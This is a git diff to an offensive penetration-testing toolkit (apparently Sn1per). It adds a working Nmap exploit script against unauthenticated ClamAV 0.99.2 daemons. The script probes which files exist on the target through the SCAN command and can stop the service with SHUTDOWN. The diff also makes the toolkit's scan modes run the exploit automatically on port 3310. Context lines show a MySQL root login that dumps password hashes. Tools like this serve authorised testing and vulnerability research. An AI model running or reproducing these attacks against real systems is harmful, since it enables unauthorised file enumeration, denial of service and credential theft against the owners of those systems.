diff --git a/README.md b/README.md index c3b2dc7..2dd5428 100644 --- a/README.md +++ b/README.md @@ -50,6 +50,8 @@ https://gist.github.com/1N3/8214ec2da2c91691bcbc ``` ## CHANGELOG: +* v1.7f - Added Zenmap XML auto-imports +* v1.7f - Added ClamAV RCE Nmap script * v1.7e - Fixed minor issue with airstrike and nuke mode * v1.7e - Fixed minor issues with discover mode * v1.7e - Added minor cosmetic improvements to reports diff --git a/bin/clamav-exec.nse b/bin/clamav-exec.nse new file mode 100644 index 0000000..845caba --- /dev/null +++ b/bin/clamav-exec.nse @@ -0,0 +1,243 @@ +local shortport = require "shortport" +local vulns = require "vulns" +local nmap = require "nmap" +local stdnse = require "stdnse" +local table = require "table" +local io = require "io" +local string = require "string" + +description = [[ +Exploits ClamAV servers vulnerable to unauthenticated clamav comand execution. + +ClamAV server 0.99.2, and possibly other previous versions, allow the execution +of dangerous service commands without authentication. Specifically, the command 'SCAN' +may be used to list system files and the command 'SHUTDOWN' shut downs the +service. This vulnerability was discovered by Alejandro Hernandez (nitr0us). + +This script without arguments test the availability of the command 'SCAN'. + +Reference: +* https://twitter.com/nitr0usmx/status/740673507684679680 +* https://bugzilla.clamav.net/show_bug.cgi?id=11585 +]] + +--- +-- @usage +-- nmap -sV --script clamav-exec +-- nmap --script clamav-exec --script-args cmd='scan',scandb='files.txt' +-- nmap --script clamav-exec --script-args cmd='shutdown' +-- +-- @output +-- PORT STATE SERVICE VERSION +-- 3310/tcp open clam ClamAV 0.99.2 (21714) +-- | clamav-exec: +-- | VULNERABLE: +-- | ClamAV Remote Command Execution +-- | State: VULNERABLE +-- | ClamAV 0.99.2, and possibly other previous versions, allow the execution of the +-- | clamav commands SCAN and SHUTDOWN without authentication. The command 'SCAN' +-- | may be used to enumerate system files and the command 'SHUTDOWN' shut downs the +-- | service. This vulnerability was discovered by Alejandro Hernandez (nitr0us). +-- | +-- | Disclosure date: 2016-06-8 +-- | Extra information: +-- | SCAN command is enabled. +-- | References: +-- | https://bugzilla.clamav.net/show_bug.cgi?id=11585 +-- |_ https://twitter.com/nitr0usmx/status/740673507684679680 +-- @xmloutput +-- +-- ClamAV Remote Command Execution +-- VULNERABLE +--
+-- ClamAV 0.99.2, and possibly other previous versions, allow the execution +-- of the clamav commands SCAN and SHUTDOWN without authentication. +-- The command 'SCAN' may be used to enumerate system files and +-- the command 'SHUTDOWN' shut downs the service. +-- This vulnerability was discovered by Alejandro Hernandez (nitr0us). +--
+-- +--
+-- 2016 +-- 8 +-- 06 +--
+-- +-- 2016-06-8 +-- +-- SCAN command is enabled. +--
+-- +-- https://bugzilla.clamav.net/show_bug.cgi?id=11585 +-- https://twitter.com/nitr0usmx/status/740673507684679680 +--
+-- +-- +-- @args clamav-exec.cmd Command to execute. Option: scan and shutdown +-- @args clamav-exec.scandb Database to file list. +--- + +author = "Paulino Calderon " +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"exploit", "vuln"} + +portrule = shortport.port_or_service{3310, "clam"} + +local function shutdown(host, port) + local s = nmap.new_socket() + local status, err = s:connect(host, port) + if not status then + stdnse.debug1("Failed to connect") + return nil + end + status, err = s:send("SHUTDOWN") + if not status then + stdnse.debug1("Failed to send SHUTDOWN command") + return nil + end + return true +end + +--- +-- scan(host, port, file) +-- Sends SCAN %FILE command to clamav. +-- If no file is specified, we query a non existing file to check the response. +-- +local function scan(host, port, file) + local data + local s = nmap.new_socket() + local status, err = s:connect(host, port) + if not status then + stdnse.debug1("Failed to connect") + return nil + end + + if not file then + status, err = s:send("SCAN /trinity/loves/nmap") + if not status then + stdnse.debug1("Failed to send SCAN command") + return nil + end + + status, data = s:receive() + if status and data:match("No such file") then + stdnse.debug1("SCAN command enabled") + return true, nil + end + else + status, err = s:send(string.format("SCAN %s", file)) + if not status then + stdnse.debug1("Failed to send 'SCAN %s' command", file) + return nil + end + status, data = s:receive() + if status then + if data:match("OK") then + stdnse.debug1("File '%s' exists", file) + return true, true + else + stdnse.debug1("File '%s' does not exists", file) + return true, nil + end + end + end + + return nil +end + +local function check_clam(host, port) + local s = nmap.new_socket() + local status, err = s:connect(host, port) + if not status then + stdnse.debug1("Failed to connect") + return nil + end + status, err = s:send("PING") + if not status then + stdnse.debug1("Failed to send PING command") + return nil + end + local data + status, data = s:receive() + if status and data:match("PONG") then + stdnse.debug1("PONG response received") + return true + end + return nil +end + +action = function(host, port) + local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or nil + local scandb = stdnse.get_script_args(SCRIPT_NAME..".scandb") or nil + + if cmd == "scan" and not scandb then + return "The argument 'scandb' must be set if we are using the command 'SCAN'" + end + + --Check the service and update the port table + local clamchk = check_clam(host, port) + if clamchk then + stdnse.debug1("ClamAV daemon found") + port.version.name = "clam" + port.version.product = "ClamAV" + nmap.set_port_version(host, port) + end + + local vuln = { + title = 'ClamAV Remote Command Execution', + state = vulns.STATE.NOT_VULN, + description = [[ +ClamAV 0.99.2, and possibly other previous versions, allow the execution of the +clamav commands SCAN and SHUTDOWN without authentication. The command 'SCAN' +may be used to enumerate system files and the command 'SHUTDOWN' shut downs the +service. This vulnerability was discovered by Alejandro Hernandez (nitr0us). +]], + references = { + 'https://bugzilla.clamav.net/show_bug.cgi?id=11585', + 'https://twitter.com/nitr0usmx/status/740673507684679680' + }, + dates = { + disclosure = {year = '2016', month = '06', day = '8'}, + }, + } + local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) + local status, files = nil + + if cmd == "scan" then + local file = io.open(scandb, "r") + if not file then + stdnse.debug1("Couldn't open file '%s'", scandb) + return nil + end + local files = {} + local exists + while true do + local db_line = file:read() + if not db_line then + break + end + status, exists = scan(host, port, db_line) + if status and exists then + table.insert(files, string.format("%s - FOUND!", db_line)) + end + end + if #files > 0 then + vuln.extra_info = stdnse.format_output(true, files) + vuln.state = vulns.STATE.VULN + end + elseif cmd == "shutdown" then + status = shutdown(host, port) + if status then + vuln.extra_info = "SHUTDOWN command sent succesfully." + vuln.state = vulns.STATE.VULN + end + else + status, files = scan(host, port, nil) + if status then + vuln.extra_info = "SCAN command is enabled." + vuln.state = vulns.STATE.VULN + end + end + + return vuln_report:make_output(vuln) +end diff --git a/install.sh b/install.sh index 3e8fc8c..c715e1b 100644 --- a/install.sh +++ b/install.sh @@ -24,7 +24,7 @@ echo -e "$OKGREEN + -- --=[This script will install or upgrade your Sn1per insta read answer echo -e "$OKORANGE + -- --=[Installing package dependencies...$RESET" -apt-get install sslyze joomscan uniscan xprobe2 cutycapt unicornscan waffit host whois arachni theharvester dnsenum dirb dnsrecon curl nmap php5 php5-curl wapiti hydra iceweasel wpscan sqlmap arachni w3af golismero nbtscan enum4linux cisco-torch metasploit-framework theharvester dnsenum nikto smtp-user-enum whatweb python nbtscan sslscan amap +apt-get install zenmap sslyze joomscan uniscan xprobe2 cutycapt unicornscan waffit host whois arachni theharvester dnsenum dirb dnsrecon curl nmap php5 php5-curl wapiti hydra iceweasel wpscan sqlmap arachni w3af golismero nbtscan enum4linux cisco-torch metasploit-framework theharvester dnsenum nikto smtp-user-enum whatweb python nbtscan sslscan amap echo -e "$OKORANGE + -- --=[Installing gem dependencies...$RESET" gem install rake @@ -47,9 +47,11 @@ git clone https://github.com/aboul3la/Sublist3r.git git clone https://github.com/nccgroup/shocker.git git clone https://github.com/joaomatosf/jexboss.git git clone https://github.com/byt3bl33d3r/CrackMapExec.git +git clone https://github.com/drwetter/testssl.sh.git echo -e "$OKORANGE + -- --=[Setting up environment...$RESET" mkdir loot 2> /dev/null +cp -f $DIR/bin/clamav-exec.nse /usr/share/nmap/scripts/ 2> /dev/null chmod +x $DIR/sniper chmod +x $DIR/bin/dnsdict6 chmod +x $DIR/Goohak/goohak @@ -58,6 +60,7 @@ chmod +x $DIR/MassBleed/massbleed chmod +x $DIR/MassBleed/heartbleed.py chmod +x $DIR/MassBleed/openssl_ccs.pl chmod +x $DIR/SuperMicro-Password-Scanner/supermicro_scan.sh +chmod +x $DIR/testssl.sh/testssl.sh rm -f /usr/bin/sniper rm -f /usr/bin/goohak rm -f /usr/bin/xsstracer @@ -74,9 +77,7 @@ ln -s $DIR/Findsploit/copysploit /usr/bin/copysploit ln -s $DIR/Findsploit/compilesploit /usr/bin/compilesploit ln -s $DIR/MassBleed/massbleed /usr/bin/massbleed ln -s $DIR/BruteX/brutex /usr/bin/brutex - -# REMOVED BUT STILL AVAILABLE IF NEEDED -# echo -e "$OKGREEN + -- --=[Be sure to install the following packages manually and update the sniper script references: dig dnsdict6 cmsmap samrdump inurlbr wafw00f showmount samrdump rpcinfo snmpwalk$RESET" +ln -s $DIR/testssl.sh/testssl.sh /usr/bin/testssl echo -e "$OKORANGE + -- --=[For universal sniper access, be sure to edit sniper to include the full path for the SNIPER_DIR variable. $RESET" echo -e "$OKORANGE + -- --=[Done!$RESET" diff --git a/sniper b/sniper index 388d44d..2f27d05 100644 --- a/sniper +++ b/sniper @@ -112,7 +112,8 @@ if [ "$TARGET" = "loot" ]; then mv $PWD/sniper-* $PWD/output 2> /dev/null rm -f $PWD/.fuse_* 2> /dev/null echo -e "$OKORANGE + -- --=[Opening loot directory..." - iceweasel $PWD 2&> /dev/null & + iceweasel $PWD &> /dev/null & + zenmap -f $PWD/nmap/ &> /dev/null & echo -e "$OKORANGE + -- --=[Done!" exit fi @@ -138,7 +139,7 @@ if [ "$MODE" = "discover" ]; then echo -e "$OKGREEN + -- ----------------------------=[Checking ARP Cache]=---------------------- -- +$RESET" arp -a -n echo -e "$OKGREEN + -- ----------------------------=[Running Port Discovery Scan]=------------- -- +$RESET" - unicornscan $TARGET -p 21,22,23,25,53,79,80,110,111,135,139,162,389,443,445,512,513,514,1099,1524,2049,2121,3306,3389,3632,5432,5800,5900,6667,8000,8009,8080,8180,8443,8888,10000,49152 2>/dev/null | awk '{print $6}' | sort -u > $PWD/loot/sniper-ips.txt + unicornscan $TARGET -p 21,22,23,25,53,79,80,110,111,135,139,162,389,443,445,512,513,514,1099,1524,2049,2121,3306,3310,3389,3632,5432,5800,5900,6667,8000,8009,8080,8180,8443,8888,10000,49152 2>/dev/null | awk '{print $6}' | sort -u > $PWD/loot/sniper-ips.txt echo -e "$OKGREEN + -- ----------------------------=[Current Targets]=------------------------- -- +$RESET" cat $PWD/loot/sniper-ips.txt echo -e "$OKGREEN + -- ----------------------------=[Launching Sn1per Scans]=------------------ -- +$RESET" @@ -225,17 +226,18 @@ if [ "$MODE" = "stealth" ]; then fi echo "" echo -e "$OKGREEN + -- ----------------------------=[Running TCP port scan]=------------------- -- +$RESET" - unicornscan $TARGET:21,22,23,25,53,79,80,110,111,135,139,162,389,443,445,512,513,514,1099,1524,2049,2121,3306,3389,3632,5432,5800,5900,6667,8000,8009,8080,8180,8443,8888,10000,49152 2> /dev/null + nmap -sS -T5 --open -p 21,22,23,25,53,79,80,110,111,135,139,162,389,443,445,512,513,514,1099,1524,2049,2121,3306,3310,3389,3632,5432,5800,5900,6667,8000,8009,8080,8180,8443,8888,10000,49152 $TARGET -oX $LOOT_DIR/nmap-$TARGET.xml echo -e "$OKGREEN + -- ----------------------------=[Running UDP port scan]=------------------- -- +$RESET" - unicornscan -mU $TARGET:53,67,68,88,161,162,137,138,139,389,520,2049 2> /dev/null + nmap -T5 --open -p U:53,U:67,U:68,U:88,U:161,U:162,U:137,U:138,U:139,U:389,U:520,U:2049 $TARGET echo -e "$OKGREEN + -- ----------------------------=[Checking for WAF]=------------------------ -- +$RESET" wafw00f http://$TARGET echo -e "$OKGREEN + -- ----------------------------=[Gathering HTTP Info]=--------------------- -- +$RESET" whatweb http://$TARGET xsstracer $TARGET 80 echo -e "$OKGREEN + -- ----------------------------=[Gathering SSL/TLS Info]=------------------ -- +$RESET" - sslscan --no-failed $TARGET sslyze --resum --certinfo=basic --compression --reneg --sslv2 --sslv3 --hide_rejected_ciphers $TARGET + sslscan --no-failed $TARGET + testssl $TARGET echo -e "$OKGREEN + -- ----------------------------=[Saving Web Screenshots]=------------------ -- +$RESET" cutycapt --url=http://$TARGET --out=loot/$TARGET-port80.jpg echo -e "$OKRED[+]$RESET Screenshot saved to $PWD/loot/$TARGET-port80.jpg" @@ -313,17 +315,18 @@ if [ "$MODE" = "airstrike" ]; then fi echo "" echo -e "$OKGREEN + -- ----------------------------=[Running TCP port scan]=------------------- -- +$RESET" - unicornscan $a:21,22,23,25,53,79,80,110,111,135,139,162,389,443,445,512,513,514,1099,1524,2049,2121,3306,3389,3632,5432,5800,5900,6667,8000,8009,8080,8180,8443,8888,10000,49152 2> /dev/null + nmap -sS -T5 --open -p 21,22,23,25,53,79,80,110,111,135,139,162,389,443,445,512,513,514,1099,1524,2049,2121,3306,3310,3389,3632,5432,5800,5900,6667,8000,8009,8080,8180,8443,8888,10000,49152 $a -oX $LOOT_DIR/nmap-$a.xml echo -e "$OKGREEN + -- ----------------------------=[Running UDP port scan]=------------------- -- +$RESET" - unicornscan -mU $a:53,67,68,88,161,162,137,138,139,389,520,2049 2> /dev/null + nmap -T5 --open -p U:53,U:67,U:68,U:88,U:161,U:162,U:137,U:138,U:139,U:389,U:520,U:2049 $a echo -e "$OKGREEN + -- ----------------------------=[Checking for WAF]=------------------------ -- +$RESET" wafw00f http://$a echo -e "$OKGREEN + -- ----------------------------=[Gathering HTTP Info]=--------------------- -- +$RESET" whatweb http://$a xsstracer $a 80 echo -e "$OKGREEN + -- ----------------------------=[Gathering SSL/TLS Info]=------------------ -- +$RESET" - sslscan --no-failed $a sslyze --resum --certinfo=basic --compression --reneg --sslv2 --sslv3 --hide_rejected_ciphers $a + sslscan --no-failed $a + testssl $a echo -e "$OKGREEN + -- ----------------------------=[Saving Web Screenshots]=------------------ -- +$RESET" cutycapt --url=http://$a --out=loot/$a-port80.jpg echo -e "$OKRED[+]$RESET Screenshot saved to $PWD/loot/$a-port80.jpg" @@ -431,13 +434,13 @@ ping -c 1 $TARGET echo "" echo -e "$OKGREEN + -- ----------------------------=[Running TCP port scan]=------------------- -- +$RESET" if [ -z "$OPT1" ]; then - nmap -T5 --open -p 21,22,23,25,53,79,80,110,111,135,139,162,389,443,445,512,513,514,1099,1524,2049,2121,3306,3389,3632,5432,5800,5900,6667,8000,8009,8080,8180,8443,8888,10000,49152 $TARGET -oX $LOOT_DIR/nmap-$TARGET.xml + nmap -sS -T5 --open -p 21,22,23,25,53,79,80,110,111,135,139,162,389,443,445,512,513,514,1099,1524,2049,2121,3306,3310,3389,3632,5432,5800,5900,6667,8000,8009,8080,8180,8443,8888,10000,49152 $TARGET -oX $LOOT_DIR/nmap-$TARGET.xml echo -e "$OKGREEN + -- ----------------------------=[Running UDP port scan]=------------------- -- +$RESET" nmap -T5 --open -p U:53,U:67,U:68,U:88,U:161,U:162,U:137,U:138,U:139,U:389,U:520,U:2049 $TARGET elif [ "$OPT1" == "web" ]; then nmap -sV -T5 -p 80,443 --open $TARGET -oX $LOOT_DIR/nmap-$TARGET.xml else - nmap -T5 -p $OPT1 --open $TARGET -oX $LOOT_DIR/nmap-$TARGET.xml + nmap -sS -T5 -p $OPT1 --open $TARGET -oX $LOOT_DIR/nmap-$TARGET.xml echo -e "$OKGREEN + -- ----------------------------=[Running UDP port scan]=------------------- -- +$RESET" nmap -sU -T5 -p U:$OPT1 --open $TARGET fi @@ -470,6 +473,7 @@ port_2049=`grep 'portid="2049"' $LOOT_DIR/nmap-$TARGET.xml | grep open` port_2121=`grep 'portid="2121"' $LOOT_DIR/nmap-$TARGET.xml | grep open` port_3128=`grep 'portid="3128"' $LOOT_DIR/nmap-$TARGET.xml | grep open` port_3306=`grep 'portid="3306"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_3310=`grep 'portid="3310"' $LOOT_DIR/nmap-$TARGET.xml | grep open` port_3389=`grep 'portid="3389"' $LOOT_DIR/nmap-$TARGET.xml | grep open` port_3632=`grep 'portid="3632"' $LOOT_DIR/nmap-$TARGET.xml | grep open` port_5432=`grep 'portid="5432"' $LOOT_DIR/nmap-$TARGET.xml | grep open` @@ -715,8 +719,9 @@ else whatweb https://$TARGET echo "" echo -e "$OKGREEN + -- ----------------------------=[Gathering SSL/TLS Info]=------------------ -- +$RESET" - sslscan --no-failed $TARGET sslyze --resum --certinfo=basic --compression --reneg --sslv2 --sslv3 --hide_rejected_ciphers $TARGET + sslscan --no-failed $TARGET + testssl $TARGET echo "" cd MassBleed ./massbleed $TARGET port 443 @@ -881,6 +886,14 @@ else mysql -u root -h $TARGET -e 'SHOW DATABASES; SELECT Host,User,Password FROM mysql.user;' fi +if [ -z "$port_3310" ]; +then + echo -e "$OKRED + -- --=[Port 3310 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 3310 opened... running tests...$RESET" + nmap -p 3310 -T5 -sV --script clamav-exec $TARGET +fi + if [ -z "$port_3128" ]; then echo -e "$OKRED + -- --=[Port 3128 closed... skipping.$RESET"